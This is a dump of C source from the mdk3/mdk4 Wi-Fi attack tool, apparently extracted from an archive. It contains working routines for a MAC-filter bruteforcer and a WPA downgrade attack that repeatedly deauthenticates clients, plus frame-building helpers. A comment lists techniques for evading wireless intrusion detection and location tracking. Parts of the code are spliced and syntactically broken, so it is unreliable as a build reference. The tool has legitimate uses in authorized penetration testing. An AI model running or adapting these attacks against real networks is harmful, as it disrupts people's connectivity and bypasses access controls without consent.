" deauthenticates Stations and APs sending WPA encrypted packets.\n"
" With this test you can check if the sysadmin will try setting his\n"
" network to WEP or disable encryption. More effective in\n"
" combination with social engineering.\n";
char use_macb[]="f - MAC filter bruteforce mode\n"
" This test uses a list of known client MAC Adresses and tries to\n"
" authenticate them to the given AP while dynamically changing\n"
" its response timeout for best performance. It currently works only\n"
" on APs who deny an open authentication request properly\n"
" -t \n"
" Target BSSID\n"
" -m \n"
" Set the MAC address range to use (3 bytes, i.e. 00:12:34)\n"
" Without -m, the internal database will be used\n"
" -f \n"
" Set the MAC address to begin bruteforcing with\n"
" (Note: You can't use -f and -m at the same time)\n";
char use_wpad[]="g - WPA Downgrade test\n"
" deauthenticates Stations and APs sending WPA encrypted packets.\n"
" With this test you can check if the sysadmin will try setting his\n"
" network to WEP or disable encryption. mdk3 will let WEP and unencrypted\n"
" clients work, so if the sysadmin simply thinks \"WPA is broken\" he\n"
" sure isn't the right one for this job.\n"
" (this can/should be combined with social engineering)\n"
" -t \n"
" Target network\n";
/* Sniffing Functions */
//ATTACK MAC filter bruteforce
void mac_bruteforce_sniffer()
{
int plen = 0;
int interesting_packet;
static unsigned char last_mac[6] = "\x00\x00\x00\x00\x00\x00";
// static unsigned char ack[10] = "\xd4\x00\x00\x00\x00\x00\x00\x00\x00\x00";
while(1) {
do {
interesting_packet = 1;
//Read packet
plen = osdep_read_packet(pkt_sniff, MAX_PACKET_LENGTH);
//is this an auth response packet?
if (pkt_sniff[0] != 0xb0) interesting_packet = 0;
//is it from our target
if (! is_from_target_ap(target, pkt_sniff)) interesting_packet = 0;
//is it a retry?
if (! memcmp(last_mac, pkt_sniff+4, 6)) interesting_packet = 0;
} while (! interesting_packet);
//Buffering MAC to drop retry frames later
memcpy(last_mac, pkt_sniff+4, 6);
//SPEEDUP: (Doesn't work??) Send ACK frame to prevent AP from blocking the channel with retries
/* memcpy(ack+4, target, 6);
osdep_send_packet(ack, 10);
*/
//Set has_packet
has_packet_really = 1;
//Send condition
pthread_cond_signal(&has_packet);
//Wait for packet to be cleared
pthread_cond_wait (&clear_packet, &clear_packet_mutex);
}
}
/* ZERO_CHAOS says: if you want to make the WIDS vendors hate you
also match the sequence numbers of the victims
also match the sequence numbers of the victims
also match the sequence numbers of the victims
also match the sequence numbers of the victims
also match the sequence numbers of the victims
also match the sequence numbers of the victims
also match the sequence numbers of the victims
also match the sequence numbers of the victims
also match the sequence numbers of the victims
Aireplay should be able to choose IV from a pool (when ringbuffer is big enough or unlimited) that hasn't been used in last X packets
Ghosting (tx power): by changing tx power of the card while injecting, we can evade location tracking. If you turn the radio's power up and down every few ms, the trackers will have a much harder time finding you (basicly you will hop all over the place depending on sensor position). At least madwifi can do it.
Ghosting (speed/modulation): change speed every few ms, not a fantastic evasion technique but it may cause more location tracking oddity. Note that tx power levels can only be set at certain speeds (lower speed means higher tx power allowed).
802.11 allows you to fragment each packet into as many as 16 pieces. It would be nice if we could use fragmentated packets in every aireplay-ng attack.
*/
struct pckt mac_bruteforcer()
{
struct pckt rtnpkt;
static unsigned char *current_mac;
int get_new_mac = 1;
static struct timeval tv_start, tv_end, tv_diff, tv_temp, tv_temp2;
struct timespec wait;
if (! mac_b_init) {
pthread_cond_init (&has_packet, NULL);
pthread_mutex_init (&has_packet_mutex, NULL);
pthread_mutex_unlock (&has_packet_mutex);
pthread_cond_init (&clear_packet, NULL);
pthread_mutex_init (&clear_packet_mutex, NULL);
pthread_mutex_unlock (&clear_packet_mutex);
tv_dyntimeout.tv_sec = 0;
tv_dyntimeout.tv_usec = 100000; //Dynamic timeout initialized with 100 ms
pthread_t sniffer;
pthread_create( &sniffer, NULL, (void *) mac_bruteforce_sniffer, (void *) 1);
}
if (mac_b_init) {
//Wait for an answer to the last packet
gettimeofday(&tv_temp, NULL);
timeradd(&tv_temp, &tv_dyntimeout, &tv_temp2);
TIMEVAL_TO_TIMESPEC(&tv_temp2, &wait);
pthread_cond_timedwait(&has_packet, &has_packet_mutex, &wait);
//has packet after timeout?
if (has_packet_really) {
// if yes: if this answer is positive, copy the MAC, print it and exit!
if (memcmp(target, pkt_sniff+4, 6)) // Filter out own packets & APs responding strangely (authing themselves)
if ((pkt_sniff[28] == 0x00) && (pkt_sniff[29] == 0x00)) {
unsigned char *p = pkt_sniff;
printf("\n\nFound a valid MAC address: %02X:%02X:%02X:%02X:%02X:%02X\nHave a nice day! :)\n",
p[4], p[5], p[6], p[7], p[8], p[9]);
exit(0);
}
// if this is an answer to our current mac: get a new mac later
if (! memcmp(pkt_sniff+4, current_mac, 6)) {
get_new_mac = 1;
mac_brute_speed++;
// get this MACs check time, calculate new timeout
gettimeofday(&tv_end, NULL);
tvdiff(&tv_end, &tv_start, &tv_diff);
/* #=- The magic timeout formula -=# */
//If timeout is more than 500 ms, it sure is due to weak signal, so drop the calculation
if ((tv_diff.tv_sec == 0) && (tv_diff.tv_usec < 500000)) {
//If timeout is lower, go down pretty fast (half the difference)
if (tv_diff.tv_usec < tv_dyntimeout.tv_usec) {
tv_dyntimeout.tv_usec += (((tv_diff.tv_usec * 2) - tv_dyntimeout.tv_usec) / 2);
} else {
//If timeout is higher, raise only a little
tv_dyntimeout.tv_usec += (((tv_diff.tv_usec * 4) - tv_dyntimeout.tv_usec) / 4);
}
//High timeouts due to bad signal? Don't go above 250 milliseconds!
//And avoid a broken timeout (less than half an ms, more than 250 ms)
if (tv_dyntimeout.tv_usec > 250000) tv_dyntimeout.tv_usec = 250000;
if (tv_dyntimeout.tv_usec < 500) tv_dyntimeout.tv_usec = 500;
}
}
//reset has_packet, send condition clear_packet (after memcpy!)
has_packet_really = 0;
pthread_cond_signal(&clear_packet);
// if not: dont get a new mac later!
} else {
get_new_mac = 0;
mac_brute_timeouts++;
}
}
// Get a new MAC????
if (get_new_mac) {
current_mac = get_next_mac();
// Set this MACs first time mark
gettimeofday(&tv_start, NULL);
}
// Create packet and send
rtnpkt = create_auth_frame(target, 0, current_mac);
mac_b_init = 1;
return rtnpkt;
}
struct pckt wpa_downgrade()
{
struct pckt rtnpkt;
static int state = 0;
int plen;
rtnpkt.len = 0;
rtnpkt.data = NULL; // A null packet we return when captured packet was useless
// This ensures that statistics will be printed in low traffic situations
switch (state) {
case 0: // 0: Waiting for a data packet from target
//Sniff packet
plen = osdep_read_packet(pkt_sniff, MAX_PACKET_LENGTH);
if (plen < 36) return rtnpkt;
//Is from target network?
if (! is_from_target_ap(target, pkt_sniff))
return rtnpkt;
//Is a beacon?
if (pkt_sniff[0] == 0x80) {
wpad_beacons++;
return rtnpkt;
}
//Is data (or qos data)?
if ((! (pkt_sniff[0] == 0x08)) && (! (pkt_sniff[0] == 0x88)))
return rtnpkt;
//Is encrypted?
if (! (pkt_sniff[1] & 0x40)) {
if ((pkt_sniff[30] == 0x88) && (pkt_sniff[31] == 0x8e)) { //802.1x Authentication!
wpad_auth++;
} else {
wpad_wep++;
}
return rtnpkt;
}
//Check WPA Enabled
if ((pkt_sniff[27] & 0xFC) == 0x00) {
wpad_wep++;
return rtnpkt;
}
state++;
// 0: Deauth AP -> Station
return create_deauth_frame(get_macs_from_packet('a', pkt_sniff),
get_macs_from_packet('s', pkt_sniff),
get_macs_from_packet('b', pkt_sniff), 0);
break;
case 1: // 1: Disassoc AP -> Station
state++;
return create_deauth_frame(get_macs_from_packet('a', pkt_sniff),
get_macs_from_packet('s', pkt_sniff),
get_macs_from_packet('b', pkt_sniff), 1);
break;
case 2: // 2: Deauth Station -> AP
state++;
return create_deauth_frame(get_macs_from_packet('s', pkt_sniff),
get_macs_from_packet('a', pkt_sniff),
get_macs_from_packet('b', pkt_sniff), 0);
break;
case 3: // 3: Disassoc Station -> AP
//Increase cycle counter
wpad_cycles++;
state = 0;
return create_deauth_frame(get_macs_from_packet('s', pkt_sniff),
get_macs_from_packet('a', pkt_sniff),
get_macs_from_packet('b', pkt_sniff), 1);
break;
}
printf("BUG: WPA-Downgrade: Control reaches end unexpectedly!\n");
return rtnpkt;
}
/* Response Checkers */
void print_mac_bruteforcer_stats(struct pckt packet)
{
unsigned char *m = packet.data+10;
float timeout = (float) tv_dyntimeout.tv_usec / 1000.0;
printf("\rTrying MAC %02X:%02X:%02X:%02X:%02X:%02X with %8.4f ms timeout at %3d MACs per second and %d retries\n",
m[0], m[1], m[2], m[3], m[4], m[5], timeout, mac_brute_speed, mac_brute_timeouts);
mac_brute_speed = 0;
mac_brute_timeouts = 0;
}
void print_wpa_downgrade_stats()
{
static int wpa_old = 0, wep_old = 0, warning = 0, downgrader = 0;
printf("\rDeauth cycles: %4d 802.1x authentication packets: %4d WEP/Unencrypted packets: %4d Beacons/sec: %3d\n", wpad_cycles, wpad_auth, wpad_wep, wpad_beacons);
if (wpad_beacons == 0) {
printf("NOTICE: Did not receive any beacons! Maybe AP has been reconfigured and/or is rebooting!\n");
}
if (wpa_old < wpad_cycles) {
if (wep_old < wpad_wep) {
if (!warning) {
printf("REALLY BIG WARNING!!! Seems like a client connected to your target AP leaks PLAINTEXT data while authenticating!!\n");
warning = 1;
}
}
}
if (wpa_old == wpad_cycles) {
if (wep_old < wpad_wep) {
downgrader++;
if (downgrader == 10) {
printf("WPA Downgrade Attack successful. No increasing WPA packet count detected. HAVE FUN!\n");
downgrader = 0;
}
}
}
wpa_old = wpad_cycles;
wep_old = wpad_wep;
wpad_beacons = 0;
}
void print_stats(char mode, struct pckt packet, int responses, int sent)
{
// Statistics dispatcher
switch (mode)
{
case 'f':
print_mac_bruteforcer_stats(packet);
break;
case 'g':
print_wpa_downgrade_stats();
break;
/*TODO*/
}
}
/* MDK Parser, Setting up testing environment */
int mdk_parser(int argc, char *argv[])
{
int nb_sent = 0, nb_sent_ps = 0; // Packet counters
char mode = '0'; // Current mode
unsigned char *ap = NULL; // Pointer to target APs MAC
char check = 0; // Flag for checking if test is successful
struct pckt frm; // Struct to save generated Packets
char *ssid = NULL; // Pointer to generated SSID
int pps = 50; // Packet sending rate
int t = 0;
time_t t_prev; // Struct to save time for printing stats every sec
int total_time = 0; // Amount of seconds the test took till now
int chan = 1; // Channel for beacon flood mode
int fchan = 0; // Channel selected via -c option
int wep = 0; // WEP bit for beacon flood mode (1=WEP, 2=WPA-TKIP 3=WPA-AES)
int gmode = 0; // 54g speed flag
struct pckt mac; // MAC Space for probe mode
int resps = 0; // Counting responses for probe mode
int usespeed = 0; // Should injection be slown down?
int random_mac = 1; // Use random or valid MAC?
int ppb = 70; // Number of packets per burst
int wait = 10; // Seconds to wait between bursts
int adhoc = 0; // Ad-Hoc mode
int adv = 0; // Use advanced FakeAP mode
int renderman_discovery = 0; // Activate RenderMan's discovery tool
int got_ssid = 0;
char *list_file = NULL; // Filename for periodical white/blacklist processing
t_prev = (time_t) malloc(sizeof(t_prev));
case 'f':
mode = 'f';
usespeed = 0;
MAC_SET_NULL(mac_lower);
MAC_SET_NULL(mac_base);
for (t=3; t t+1)) { printf(use_macb); return -1; }
target = parse_mac(argv[t+1]);
}
if (! strcmp(argv[t], "-m")) {
if (! (argc > t+1)) { printf(use_macb); return -1; }
mac_base = parse_half_mac(argv[t+1]);
}
if (! strcmp(argv[t], "-f")) {
if (! (argc > t+1)) { printf(use_macb); return -1; }
mac_base = parse_mac(argv[t+1]);
mac_lower = parse_mac(argv[t+1]);
}
}
break;
case 'g':
mode = 'g';
usespeed = 0;
for (t=3; t t+1)) { printf(use_wpad); return -1; }
target = parse_mac(argv[t+1]);
}
}
break;
default:
printf(use_head);
return -1;
break;
}
printf("\n");
if (mode == 'g') {
if (target == NULL) {
printf("Please specify MAC of target AP (option -t)\n");
return -1;
}
}
/* Main packet sending loop */
while(1)
{
/* Creating Packets, do sniffing */
switch (mode)
{
case 'f':
frm = mac_bruteforcer();
break;
case 'g':
frm = wpa_downgrade();
if (frm.data == NULL) goto statshortcut;
break;
case 'r':
frm = renderman_discovery_tool();
break;
}
/* Sending packet, increase counters */
if (frm.len < 10) printf("WTF?!? Too small packet injection detected! BUG!!!\n");
osdep_send_packet(frm.data, frm.len);
nb_sent_ps++;
nb_sent++;
/* Does another thread want to exit? */
if (exit_now) return 0;
/* Waiting for Hannukah */
if (usespeed) usleep(pps2usec(pps));
statshortcut:
/* Print speed, packet count and stats every second */
if( time( NULL ) - t_prev >= 1 )
{
t_prev = time( NULL );
print_stats(mode, frm, resps, nb_sent_ps);
if (mode != 'r') printf ("\rPackets sent: %6d - Speed: %4d packets/sec", nb_sent, nb_sent_ps);
fflush(stdout);
nb_sent_ps=0;
resps=0;
total_time++;
}
} // Play it again, Johnny!
return 0;
}
mdk4-master/src/greylist.h 0000644 0001750 0001750 00000000514 13525065636 016577 0 ustar samueloph samueloph #ifndef HAVE_GREYLIST_H
#define HAVE_GREYLIST_H
#include "mac_addr.h"
//Loads or appends to list of mac addresses.
//to change list type, use filename NULL
void load_blacklist(char *filename);
void load_whitelist(char *filename);
char is_blacklisted(struct ether_addr mac);
char is_whitelisted(struct ether_addr mac);
#endif
mdk4-master/src/channelhopper.h 0000644 0001750 0001750 00000000570 13525065636 017565 0 ustar samueloph samueloph #ifndef HAVE_CHANNELHOPPER_H
#define HAVE_CHANNELHOPPER_H
//Takes a list of channels as string in format "1,2,3,4,5,6,7"
//Starts hopping channels, switches channel round-robin style every useconds Âľs
//If called again, it does nothing, only one hopper is possible (of course)
void init_channel_hopper(char *chanlist, int useconds);
void nl80211_init_channel_list();
#endif
mdk4-master/src/packet.h 0000644 0001750 0001750 00000014612 13525065636 016210 0 ustar samueloph samueloph #ifndef HAVE_PACKET_H
#define HAVE_PACKET_H
#include
#include "osdep/byteorder.h"
#include "mac_addr.h"
#define IEEE80211_TYPE_BEACON 0x80
#define IEEE80211_TYPE_DATA 0x08
#define IEEE80211_TYPE_QOSDATA 0x88
#define IEEE80211_TYPE_AUTH 0xB0
#define IEEE80211_TYPE_PROBEREQ 0x40
#define IEEE80211_TYPE_PROBERES 0x50
#define IEEE80211_TYPE_DEAUTH 0xC0
#define IEEE80211_TYPE_DISASSOC 0xA0
#define IEEE80211_TYPE_ASSOCREQ 0x00
#define IEEE80211_TYPE_ASSOCRES 0x10
#define IEEE80211_TYPE_REASSOCREQ 0x20
#define IEEE80211_TYPE_ACTION 0xD0
#define IEEE80211_TYPE_CTS 0xC4
#define IEEE80211_TYPE_NULL 0x48
#define DEFAULT_BEACON_INTERVAL 0x64
#define DEFAULT_11B_RATES "\x01\x04\x82\x84\x8b\x96"
#define DEFAULT_11G_RATES "\x32\x08\x0c\x12\x18\x24\x30\x48\x60\x6c"
#define DEFAULT_WPA_TKIP_TAG "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x00\x00"
#define DEFAULT_WPA_AES_TAG "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x02\x00\x00"
#define AUTH_ALGORITHM_OPEN 0x0000
#define AUTH_STATUS_SUCCESS 0x0000
#define AUTH_DEFAULT_DURATION 314
#define DEAUTH_REASON_UNSPEC 0x0001
#define DEAUTH_REASON_LEAVING 0x0003
#define DISASSOC_REASON_APFULL 0x0005
#define DISASSOC_REASON_LEAVING 0x0008
#define DEFAULT_LISTEN_INTERVAL 0x0001
#define BEACON_TAGTYPE_SSID 0x00
#define BEACON_TAGTYPE_MESHID 0x72
#define LLC_SNAP 0xAA
#define LLC_UNNUMBERED 0x03
#define RSN_TYPE_KEY 0x03
#define RSN_DESCRIPTOR_KEY 0x02
#define MESH_ACTION_CATEGORY 0x0D
#define MESH_ACTION_PATHSEL 0x01
#define MESH_TAG_PREQ 0x82
#define MESH_TAG_PREP 0x83
#define MAX_PACKET_SIZE 2048
struct packet {
unsigned char data[MAX_PACKET_SIZE];
unsigned int len;
};
struct ieee_hdr {
uint8_t type;
uint8_t flags;
uint16_t duration;
struct ether_addr addr1;
struct ether_addr addr2;
struct ether_addr addr3;
uint16_t frag_seq;
} __attribute__((packed));
struct beacon_fixed {
uint64_t timestamp;
uint16_t interval;
uint16_t capabilities;
} __attribute__((packed));
struct auth_fixed {
uint16_t algorithm;
uint16_t seq;
uint16_t status;
} __attribute__((packed));
struct assoc_fixed {
uint16_t capabilities;
uint16_t interval;
} __attribute__((packed));
struct llc_header {
uint8_t dsap;
uint8_t ssap;
uint8_t control;
uint8_t encap[3];
uint16_t type;
} __attribute__((packed));
struct rsn_auth {
uint8_t version;
uint8_t type;
uint16_t length;
uint8_t descriptor;
uint16_t key_info;
uint16_t key_length;
uint64_t replay_counter;
uint8_t nonce[32];
uint8_t key_iv[16];
uint64_t key_rsc;
uint64_t key_id;
uint8_t key_mic[16];
uint16_t wpa_length;
} __attribute__((packed));
struct action_fixed {
uint8_t category;
uint8_t action_code;
uint8_t tag;
uint8_t taglen;
} __attribute__((packed));
struct mesh_preq {
uint8_t flags;
uint8_t hop_count;
uint8_t ttl;
uint32_t discovery_id;
struct ether_addr originator;
uint32_t orig_seq;
uint32_t lifetime;
uint32_t metric;
uint8_t target_count;
uint8_t target_flags;
struct ether_addr target;
uint32_t target_seq;
} __attribute__((packed));
struct mesh_prep {
uint8_t flags;
uint8_t hop_count;
uint8_t ttl;
struct ether_addr target;
uint32_t target_seq;
uint32_t lifetime;
uint32_t metric;
struct ether_addr originator;
uint32_t orig_seq;
} __attribute__((packed));
struct cts {
uint8_t type;
uint8_t flags;
uint16_t duration;
struct ether_addr dest;
} __attribute__((packed));
//dsflags: 'a' = AdHoc, Beacon 'f' = From DS 't' = To DS 'w' = WDS (intra DS)
//Set recv to SE_NULLMAC if you don't create WDS packets. (its ignored anyway)
void create_ieee_hdr(struct packet *pkt, uint8_t type, char dsflags, uint16_t duration, struct ether_addr destination, struct ether_addr source, struct ether_addr bssid_or_transm, struct ether_addr recv, uint8_t fragment);
struct ether_addr *get_bssid(struct packet *pkt);
struct ether_addr *get_source(struct packet *pkt);
struct ether_addr *get_destination(struct packet *pkt);
struct ether_addr *get_transmitter(struct packet *pkt);
struct ether_addr *get_receiver(struct packet *pkt);
//encryption: 'n' = None 'w' = WEP 't' = TKIP (WPA) 'a' = AES (WPA2)
//If bitrate is 54, you'll get an bg network, b only otherwise
struct packet create_beacon(struct ether_addr bssid, char *ssid, uint8_t channel, char encryption, unsigned char bitrate, char adhoc);
struct packet create_auth(struct ether_addr bssid, struct ether_addr client, uint16_t seq);
struct packet create_probe(struct ether_addr source, char *ssid, unsigned char bitrate);
struct packet create_deauth(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid);
struct packet create_disassoc(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid);
//Capabilities and SSID should match AP, so just copy them from one of its beacon frames
struct packet create_assoc_req(struct ether_addr client, struct ether_addr bssid, uint16_t capabilities, char *ssid, unsigned char bitrate);
struct packet create_cts(struct ether_addr destination, uint16_t duration);
//Copy SSID or MeshID from Beacon Frame into String. Must free afterwards! Returns NULL on Errors (no beacon frame, no SSID tag found)
//SSID len is also reported, because on hidden SSIDs, strlen() doesn't work, since the SSID is all NULLBYTES!
//If you don't need that info, set ssidlen to NULL!
char *get_ssid(struct packet *pkt, unsigned char *ssidlen);
char *get_meshid(struct packet *pkt, unsigned char *meshidlen);
uint16_t get_capabilities(struct packet *pkt);
//Append data to packet
void append_data(struct packet *pkt, unsigned char *data, int len);
//Adds LLC header to a packet created with create_ieee_hdr(). You can use this to build unencrypted data frames or EAP packets.
void add_llc_header(struct packet *pkt, uint16_t llc_type);
//Adds EAP/WPA packet behind the LLC Header to create WPA Login packets
void add_eapol(struct packet *pkt, uint16_t wpa_length, uint8_t *wpa_element, uint8_t wpa_1or2, uint8_t rsn_version, uint64_t rsn_replay);
void increase_seqno(struct packet *pkt);
uint16_t get_seqno(struct packet *pkt);
//If pkt is NULL in set_seqno, the sequence number for the next call to create_ieee_hdr will be seqno + 1!
void set_seqno(struct packet *pkt, uint16_t seqno);
uint8_t get_fragno(struct packet *pkt);
void set_fragno(struct packet *pkt, uint8_t frag, int last_frag);
#endif
mdk4-master/src/helpers.h 0000644 0001750 0001750 00000001032 13525065636 016373 0 ustar samueloph samueloph #ifndef HAVE_HELPERS_H
#define HAVE_HELPERS_H
char generate_channel();
char *generate_ssid(unsigned char malformed);
// Call this again to read line after line
// At end of file, it returns NULL
// Start from the beginning by setting reset true
char *read_next_line(char *filename, char reset);
//Sleeps till the next packet should be sent base on pps packets per second
void sleep_till_next_packet(unsigned int pps);
//Convert hex input to binary memory, user needs to free result
unsigned char *hex2bin(char *in, int *len);
#endif mdk4-master/src/mac_addr.h 0000644 0001750 0001750 00000003304 13525065636 016467 0 ustar samueloph samueloph #ifndef HAVE_MACADDR_H
#define HAVE_MACADDR_H
#include
#include
#define NULLMAC "\x00\x00\x00\x00\x00\x00"
#define BROADCAST "\xFF\xFF\xFF\xFF\xFF\xFF"
#define MAC_IS_NULL(x) (! memcmp((x).ether_addr_octet, NULLMAC, ETHER_ADDR_LEN))
#define MAC_SET_NULL(x) (memset((x).ether_addr_octet, 0x00, ETHER_ADDR_LEN))
#define MAC_IS_BCAST(x) (! memcmp((x).ether_addr_octet, BROADCAST, ETHER_ADDR_LEN))
#define MAC_SET_BCAST(x) (memset((x).ether_addr_octet, 0xFF, ETHER_ADDR_LEN))
#define MAC_MATCHES(x,y) (! memcmp((x).ether_addr_octet, (y).ether_addr_octet, ETHER_ADDR_LEN))
#define MAC_COPY(x,y) (memcpy((x).ether_addr_octet, (y).ether_addr_octet, ETHER_ADDR_LEN))
#ifdef __GNUC__
#define VARIABLE_IS_NOT_USED __attribute__ ((unused))
#else
#define VARIABLE_IS_NOT_USED
#endif
static VARIABLE_IS_NOT_USED struct ether_addr SE_NULLMAC = { .ether_addr_octet = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } };
enum mac_kind {
MAC_KIND_RANDOM,
MAC_KIND_CLIENT,
MAC_KIND_AP
};
struct ether_addr parse_mac(char *input);
struct ether_addr parse_half_mac(char *input);
// Generate a random MAC adress
// kind : Which kind of MAC should be generated?
// 0 : random MAC
// 1 : valid client MAC
// 2 : valid accesspoint MAC
struct ether_addr generate_mac(enum mac_kind kind);
// mac_base: User-Select first three bytes
// If mac_base is NULLMAC, it uses base from known manufactor list
// mac_lower: Pointer to the lower 3 bytes of the user-selected start address, that will be zeroed
// mac_lower will be BROADCAST if we ran out of adresses!
struct ether_addr get_next_mac(struct ether_addr mac_base, struct ether_addr *mac_lower);
void print_mac(struct ether_addr pmac);
#endif
mdk4-master/src/greylist.c 0000644 0001750 0001750 00000003733 13525065636 016600 0 ustar samueloph samueloph #include
#include
#include
#include "greylist.h"
#include "helpers.h"
struct greylist {
struct ether_addr mac;
struct greylist *next;
};
typedef enum
{
BLACK_LIST,
WHITE_LIST,
}list_type;
struct greylist *glist = NULL;
struct greylist *blist = NULL;
struct greylist *wlist = NULL;
char black = 0;
char white = 0;
struct greylist *add_to_greylist(struct ether_addr new, struct greylist *gl) {
struct greylist *gnew = malloc(sizeof(struct greylist));
gnew->mac = new;
if (gl) {
gnew->next = gl->next;
gl->next = gnew;
} else {
gl = gnew;
gnew->next = gnew;
}
return gl;
}
struct greylist *search_in_greylist(struct ether_addr mac, struct greylist *gl) {
struct greylist *first;
if (! gl) return NULL;
first = gl;
do {
if (MAC_MATCHES(mac, gl->mac)) {
return gl;
}
gl = gl->next;
} while (gl != first);
return NULL;
}
void load_greylist(list_type type, char *filename) {
char *entry;
if (filename) {
entry = read_next_line(filename, 1);
while(entry)
{
if (!search_in_greylist(parse_mac(entry), glist)) //Only add new entries
{
glist = add_to_greylist(parse_mac(entry), glist);
}
free(entry);
entry = read_next_line(filename, 0);
}
if(type == BLACK_LIST)
{
blist = glist;
black = 1;
}
else if(type == WHITE_LIST)
{
wlist = glist;
white = 1;
}
}
}
void load_blacklist(char *filename)
{
load_greylist(BLACK_LIST, filename);
}
void load_whitelist(char *filename)
{
load_greylist(WHITE_LIST, filename);
}
char is_blacklisted(struct ether_addr mac)
{
struct greylist *entry;
if (black)
{
entry = search_in_greylist(mac, blist);
if (entry)
return 1;
}
return 0;
}
char is_whitelisted(struct ether_addr mac)
{
struct greylist *entry;
if (white)
{
entry = search_in_greylist(mac, wlist);
if (entry)
return 1;
}
return 0;
}
mdk4-master/src/packet.c 0000644 0001750 0001750 00000031006 13525065636 016177 0 ustar samueloph samueloph #include
#include
#include
#include "packet.h"
static uint16_t seqno = 0;
void create_ieee_hdr(struct packet *pkt, uint8_t type, char dsflags, uint16_t duration, struct ether_addr destination, struct ether_addr source, struct ether_addr bssid_or_transm, struct ether_addr recv, uint8_t fragment) {
struct ieee_hdr *hdr = (struct ieee_hdr *) pkt->data;
//If fragment, do not increase sequence
if (!fragment) seqno++; seqno %= 0x1000;
if (fragment > 0x0F) {
printf("WARNING: Fragment number exceeded maximum of 15, resetting to 0.\n");
fragment = 0;
}
hdr->type = type;
hdr->flags = 0x00;
//if (wep) hdr->flags |= 0x40; //If somebody needs WEP, here it is :D
switch (dsflags) {
case 'a': //Ad Hoc, Beacons: ToDS 0 FromDS 0 Addr: DST, SRC, BSS
MAC_COPY(hdr->addr1, destination);
MAC_COPY(hdr->addr2, source);
MAC_COPY(hdr->addr3, bssid_or_transm);
break;
case 'f': //From AP to station: ToDS 0 FromDS 1 Addr: DST, BSS, SRC
hdr->flags |= 0x02;
MAC_COPY(hdr->addr1, destination);
MAC_COPY(hdr->addr2, bssid_or_transm);
MAC_COPY(hdr->addr3, source);
break;
case 't': //From station to AP: ToDS 1 FromDS 1 Addr: BSS, SRC, DST
hdr->flags |= 0x01;
MAC_COPY(hdr->addr1, bssid_or_transm);
MAC_COPY(hdr->addr2, source);
MAC_COPY(hdr->addr3, destination);
break;
case 'w': //WDS: ToDS 1 FromDS 1 Addr: RCV, TRN, DST ... SRC
hdr->flags |= 0x03;
MAC_COPY(hdr->addr1, recv);
MAC_COPY(hdr->addr2, bssid_or_transm);
MAC_COPY(hdr->addr3, destination);
memcpy((pkt->data) + (sizeof(struct ieee_hdr)), source.ether_addr_octet, ETHER_ADDR_LEN);
break;
default:
printf("ERROR: DS Flags invalid, use only a, f, t or w! Frame will have no MAC addresses!\n");
}
hdr->duration = htole16(duration);
hdr->frag_seq = htole16(fragment | (seqno << 4));
//TODO: Maybe we need to add support for other frame types beside DATA and Beacon.
// A good idea would also be QoS Data support
pkt->len = sizeof(struct ieee_hdr);
if ((hdr->flags & 0x03) == 0x03) pkt->len += 6; //Extra MAC in WDS packets
}
struct ether_addr *get_addr(struct packet *pkt, char type) {
uint8_t dsflags;
struct ieee_hdr *hdr;
struct ether_addr *src = NULL, *dst = NULL, *bss = NULL, *trn = NULL;
if(! pkt) {
printf("BUG: Got NULL packet!\n");
return NULL;
}
hdr = (struct ieee_hdr *) pkt->data;
dsflags = hdr->flags & 0x03;
switch (dsflags) {
case 0x00:
dst = &(hdr->addr1);
src = &(hdr->addr2);
bss = &(hdr->addr3);
break;
case 0x01:
bss = &(hdr->addr1);
src = &(hdr->addr2);
dst = &(hdr->addr3);
break;
case 0x02:
dst = &(hdr->addr1);
bss = &(hdr->addr2);
src = &(hdr->addr3);
break;
case 0x03:
bss = &(hdr->addr1);
trn = &(hdr->addr2);
dst = &(hdr->addr3);
src = (struct ether_addr *) &(pkt->data) + (sizeof(struct ieee_hdr));
break;
}
switch (type) {
case 'b':
return bss;
case 'd':
return dst;
case 's':
return src;
case 't':
return trn;
}
return NULL;
}
struct ether_addr *get_bssid(struct packet *pkt) {
return get_addr(pkt, 'b');
}
struct ether_addr *get_source(struct packet *pkt) {
return get_addr(pkt, 's');
}
struct ether_addr *get_destination(struct packet *pkt) {
return get_addr(pkt, 'd');
}
struct ether_addr *get_transmitter(struct packet *pkt) {
return get_addr(pkt, 't');
}
struct ether_addr *get_receiver(struct packet *pkt) {
return get_addr(pkt, 'b');
}
void add_ssid_set(struct packet *pkt, char *ssid) {
pkt->data[pkt->len] = 0x00; //SSID parameter set
pkt->data[pkt->len+1] = (uint8_t) strlen(ssid); //SSID len
memcpy(pkt->data + pkt->len + 2, ssid, strlen(ssid)); //Copy the SSID
pkt->len += strlen(ssid) + 2;
}
void add_rate_sets(struct packet *pkt, char b_rates, char g_rates) {
if (b_rates) {
memcpy(pkt->data + pkt->len, DEFAULT_11B_RATES, 6); //11 MBit
pkt->len += 6;
}
if (g_rates) {
memcpy(pkt->data + pkt->len, DEFAULT_11G_RATES, 10); //54 MBit
pkt->len += 10;
}
}
void add_channel_set(struct packet *pkt, uint8_t channel) {
pkt->data[pkt->len] = 0x03; //Channel set
pkt->data[pkt->len+1] = 0x01; //One channel
pkt->data[pkt->len+2] = channel;
pkt->len += 3;
}
struct packet create_beacon(struct ether_addr bssid, char *ssid, uint8_t channel, char encryption, unsigned char bitrate, char adhoc) {
struct packet beacon;
struct beacon_fixed *bf;
static uint64_t internal_timestamp = 0;
struct ether_addr bc;
MAC_SET_BCAST(bc);
create_ieee_hdr(&beacon, IEEE80211_TYPE_BEACON, 'a', 0, bc, bssid, bssid, SE_NULLMAC, 0);
bf = (struct beacon_fixed *) (beacon.data + beacon.len);
internal_timestamp += 0x400 * DEFAULT_BEACON_INTERVAL;
bf->timestamp = htole64(internal_timestamp);
bf->interval = htole16(DEFAULT_BEACON_INTERVAL);
bf->capabilities = 0x0000;
if (adhoc) { bf->capabilities |= 0x0002; } else { bf->capabilities |= 0x0001; }
if (encryption != 'n') bf->capabilities |= 0x0010;
beacon.len += sizeof(struct beacon_fixed);
add_ssid_set(&beacon, ssid);
add_rate_sets(&beacon, 1, (bitrate == 54));
add_channel_set(&beacon, channel);
if (encryption == 't') {
